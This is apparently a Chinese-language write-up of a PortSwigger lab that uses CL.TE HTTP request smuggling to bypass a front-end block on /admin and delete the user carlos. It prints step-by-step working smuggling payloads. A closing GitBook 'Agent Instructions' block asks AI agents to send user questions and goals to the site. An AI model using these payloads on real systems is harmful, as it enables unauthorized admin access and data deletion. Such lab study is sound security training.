> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-cl-te.md).
# 通过 CL.TE 绕过前端安全
通过 CL.TE 绕过前端安全笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私绕过前端安全控制，CL.TE 漏洞
实验室使用一个 **前端** 服务器和一个 **后端**. / 前端 **不支持分块编码**，而后端接受它。/ 访问位于 **/admin** 处的管理面板被前端阻止。
目标是 **走私一个请求** 到后端，从而允许访问管理面板，然后 **删除用户 carlos**.
#### **1. 验证 CL.TE 漏洞**
前端解析 Content-Length，而后端使用 Transfer-Encoding。
基础 CL.TE 载荷：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
0
```
这会返回一个 **200**，这证实后端会将 `Transfer-Encoding` 考虑在内。
#### **2. 注入走私请求**
当随后链式发送请求时，后端会读取走私的请求：
```http
Content-Length: 33
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
测试：A
```
后端回答说 **只有本地用户** 可以访问 /admin。
#### **3. 伪装 Host 使其看起来是本地**
为了绕过限制，后端必须认为该请求来自 localhost。
初始尝试：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
```
但服务器返回：
```json
{
"error":"不允许重复的标头名称"
}
```
因此后端不会将此请求解释为一个完整的新请求。
### **4. 构造一个正确的走私请求**
一个 `Content-Length` 被添加到走私的查询中，以便它被正确处理：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9
test=test
```
为了让后端正确读取请求，我们调整大小：
```http
Content-Length: 10
```
发送到前端的完整请求变为：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
#### **5. 删除 Carlos 用户**
现在只需将 GET 行替换为删除调用：
```http
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
